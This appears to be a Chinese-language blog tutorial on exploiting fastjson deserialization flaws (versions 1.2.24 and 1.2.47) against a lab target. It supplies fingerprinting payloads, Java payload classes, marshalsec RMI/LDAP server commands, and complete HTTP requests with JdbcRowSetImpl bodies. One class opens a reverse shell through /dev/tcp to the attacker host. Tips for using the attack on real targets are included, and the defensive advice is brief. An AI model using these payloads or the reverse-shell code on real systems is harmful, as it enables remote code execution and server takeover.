fastjson反序列化漏洞


在這裏插入圖片描述

一、fastjson 1.2.24反序列化漏洞

1.1 漏洞簡介

1.1.1 漏洞闡述

  FastJson是alibaba開源的一款開源的高性能的JSON庫,用於將java對象轉換爲json形式,也可以用來將json轉換爲java對象,很多公司都在使用,於2017年4月18號爆出存在此漏洞。

  • https://github.com/alibaba/fastjson

1.1.2 影響版本

  • FastJson < 1.2.24

1.1.3 漏洞原理

  fastjson在解析json過程中,支持使用autoType來實例化某一個具體的類,並通過json來填充其屬性值。而JDK自帶的類com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl中有一個私有屬性 _bytecodes,其部分方法會執行這個值中包含的Java字節碼。

1.1.4 指紋特徵

A. 有回顯

通過構造錯誤的POST請求體,服務器返回報錯中查看是否存在fastjson字樣

正常請求如下,是get的請求且沒有請求體,我們通過構造錯誤的POST請求即可查看返回包中有解析失敗,fastjson字樣:
在這裏插入圖片描述

B. 無回顯

(方法一:通過DOS延遲方式)

fastjson在版本<1.2.60在取不到值的時候會填充\u001a,發生DOS,我們可以構造請求,通過響應延遲來判斷是否使用的fastjson

》》無構造的正常請求返回時間,28ms(這裏Fiddler演示,Burp可以通過Repeater模塊右下方觀察)
在這裏插入圖片描述
》》構造錯誤的POST請求體返回時間,15ms(可見隨意的錯誤請求不奏效)
在這裏插入圖片描述
在這裏插入圖片描述
》》通過 {“a”:"\x 觸發DOS,585ms,和正常的和錯誤的請求響應時間差太多,由此來判斷使用了fastjson解析器
在這裏插入圖片描述
在這裏插入圖片描述


(方法二:通過DNS回顯方式)

通過DNS回顯的方式檢測後端是否使用的fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
C. 小技巧

如何判斷使用的Fastjson還是Jackson?
Jackson相對比較嚴格,強制key和javabean屬性對齊,只能少不能多key

》》fastjson多key不會報錯,我們可以多構造一個,因此大概率判斷爲fastjson(沒有其它json解析庫的情況下)
在這裏插入圖片描述

1.1.5 限制條件

  要想使用Templateslmpl的_bytecodes屬性執行任意命令,條件:

  1. 站點使用fastjson庫解析json
  2. 解析時設置了Feature.SupoortNonPublicField(否則不支持傳入私有屬性)
  3. 目標jdk中存在Templateslmpl類(不排除其它不需要Templateslmpl的利用方法)

1.2 環境搭建

  • 受害者IP:192.168.159.129(vulhub、docker)
  • 攻擊者IP:192.168.123.192(marshalsec、nc、web服務)

》》在如下目錄下啓動靶機
在這裏插入圖片描述
》》拉起靶機環境
在這裏插入圖片描述
》》查看端口服務
在這裏插入圖片描述
》》瀏覽器訪問目的地址(如下搭建成功)
在這裏插入圖片描述

1.3 漏洞利用

1.3.1 利用準備

A. RMI/LDAP服務器準備

Tips:實戰環境中建議使用LDAP協議

》》下載marshalsec項目

git clone https://github.com/mbechler/marshalsec.git

》》安裝配置mvn(略)
》》進入marshalsec目錄,使用mvn編譯msrshalsec的jar包
在這裏插入圖片描述
(編譯完成)
在這裏插入圖片描述
(編譯完成生成的文件)
在這裏插入圖片描述

B. POC/EXP編譯構造

》》IDEA中新建一個項目
在這裏插入圖片描述
》》選擇java項目
在這裏插入圖片描述
》》點擊下一步
》》創建項目名稱和位置
在這裏插入圖片描述
》》項目目錄下創建一個文件夾,命名src
》》src目錄下新建一個java文件(根據exp操作命名,這裏是TouchFile[目的是目標主機上創建一個文件])
在這裏插入圖片描述
》》TouchFile類如下:(commands中存放執行的命令)

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在這裏插入圖片描述
(編譯生成class文件,方法一)
》》使用javac將java文件編譯成class文件
在這裏插入圖片描述
(編譯生成class文件,方法二)
》》項目目錄下再次創建output目錄(存放編譯生成的class文件)
在這裏插入圖片描述
》》設置編譯路徑
在這裏插入圖片描述
在這裏插入圖片描述
》》運行編譯TouchFile文件
在這裏插入圖片描述
在這裏插入圖片描述
》》便會在output中生成class文件
在這裏插入圖片描述

C Web服務器準備

》》啓動一個web服務,將惡意的class文件放入站點的主目錄(www目錄,這裏使用的phpstudy創建的web服務)

1.3.2 漏洞利用一(執行命令)

》》打開命令行窗口:使用marshalsec項目,啓動一個RMI服務器,監聽9999端口並定製加載遠程類)

Tips:實戰環境中建議使用LDAP協議

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.123.192/#Exploit" 9999

(已經開始監聽9999端口)
在這裏插入圖片描述

注意上邊的#

  • 攻擊請求包構造 / 發送攻擊載荷(方式一)
    》》抓取GET請求數據包,將GET請求通過Fiddler(其它抓包工具也可以)改爲POST請求,並在請求體中添加如下json數據,dataSourceName的值中指定rmi服務器的地址
    在這裏插入圖片描述
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
        "autoCommit":true
    }
}

(HTTP狀態碼返回 500)
在這裏插入圖片描述

Tips:
如果沒成功可以嘗試在請求頭中指定MIME類型爲json:
Content-Type: application/json

流量攻擊流程:
請求數據包將請求體中的json數據傳給受害服務器,受害服務器會將請求重定向到攻擊者的RMI服務器,RMI服務器從監聽的9999端口中加載遠程類TouchFile並重定向到web服務器,fastjson將下載TouchFile,解析運行。


  • 攻擊請求包構造 / 發送攻擊載荷(方式二)
    》》直接向服務器發送構造的如下數據
POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
        "autoCommit":true
    }
}

Tips:注意修改上邊的HOST地址和rmi地址

》》可以看到RMI服務器成功傳值到受害者服務器
在這裏插入圖片描述
》》成功在受害者服務器中執行命令
在這裏插入圖片描述

1.3.3 漏洞利用二(反彈shell)

》》編譯生成的class java文件的類如下(exec中爲反彈連接的shell地址):

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.123.192/19111 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

Tips:這裏反彈shell的端口儘量不要指定8888、8080等常用web端口

在這裏插入圖片描述
》》將編譯生成的Exploit.class文件放入web服務器主目錄
》》事先準備好兩個命令行窗口
》》窗口一:nc監聽19111端口
在這裏插入圖片描述
》》窗口二:啓動RMI服務監聽9999端口
在這裏插入圖片描述
》》構造併發送數據包到目標服務器

POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.123.192:9999/Exploit",
        "autoCommit":true
    }
}

》》成功接到shell
在這裏插入圖片描述

1.4 防禦建議

  • 將fastjson升級到最新版本
  • 升級JDK版本到 11.0.1 / 6u211 / 7u201 / 8u191

官方補丁中將loadClass替換爲了config.checkAutoType(typeName),並且擴充了黑名單列表,將傳入的類名和黑名單中一一比較,如果發現了相同的開頭就停止反序列化。

二、fastjson 1.2.47反序列化漏洞

2.1 漏洞簡介

  fastjson提供了autotype功能,允許用戶在反序列化數據中通過“@type"指定反序列化的類型。其次,fastjson自定義的反序列化機制時會調用指定類中的setter方法和部分getter方法。因此,當組件開啓了autotype功能並且反序列化不可信數據時,便可構造惡意序列化的數據,使代碼執行流程進入特定類的特定setter或者getter方法中,如果指定類的指定方法中有可以被利用的邏輯(通常說的“Gadget”)則會造成安全問題。fastjson 1.2.47以下版本中,利用緩存機制可以對未開啓autotype功能繞過。

2.2 影響版本

  • fastjson < 1.2.47

2.3 環境搭建

攻擊者:192.168.1.101(win10)
受害者:192.168.159.129(vulhub、docker)

》》進入環境目錄,docker拉起環境
在這裏插入圖片描述
》》瀏覽器訪問目標端口
在這裏插入圖片描述

2.4 攻擊過程

》》啓動一個web服務器,將編譯的class類文件放入主目錄下(TouchFile.class)

》》marshalsec啓動一個RMI/LDAP服務,監聽9999端口,並加載遠程類TouchFile

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.101/#TouchFile" 9999

在這裏插入圖片描述
》》向目標服務器發送構造的攻擊載荷
在這裏插入圖片描述

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.101:9999/TouchFile",
        "autoCommit":true
    }
}

》》成功執行命令
在這裏插入圖片描述
在這裏插入圖片描述

三、注意事項

  1. 儘量使用和目標服務器相同的jdk版本
  • 攻擊者環境:Java 8u201
    在這裏插入圖片描述
  • 受害者環境:Java 8u102
    在這裏插入圖片描述
  1. 當運行RMI的服務器Java版本過高會無法運行RMI服務,雖然顯示在監聽,但是fastjson的 JNDI會報錯,顯示無法獲取到資源。

  2. 優先使用LDAP協議
    實戰中優先使用LDAP協議進行漏洞利用,原因是:
    RMI協議利用方式在JDK 6u132 / 7u122 / 8u113及以上版本中已修復
    LDAP協議利用方式在JDK 6u211 / 7u201 / 8u191及以上版本中已修復
    且LDAP可以直接返回序列化對象,繞過對方使用的更高版本的JDK限制。

    (RMI和LDAP兩種服務協議啓動方式)
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.101/#TouchFile” <port>

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://IP/#Exploit” <port>

  3. 高版本JDK繞過方法
    https://www.freebuf.com/column/207439.html


參考文章:
https://blog.csdn.net/w1590191166/article/details/105016535
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
https://cloud.tencent.com/developer/article/1553664

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章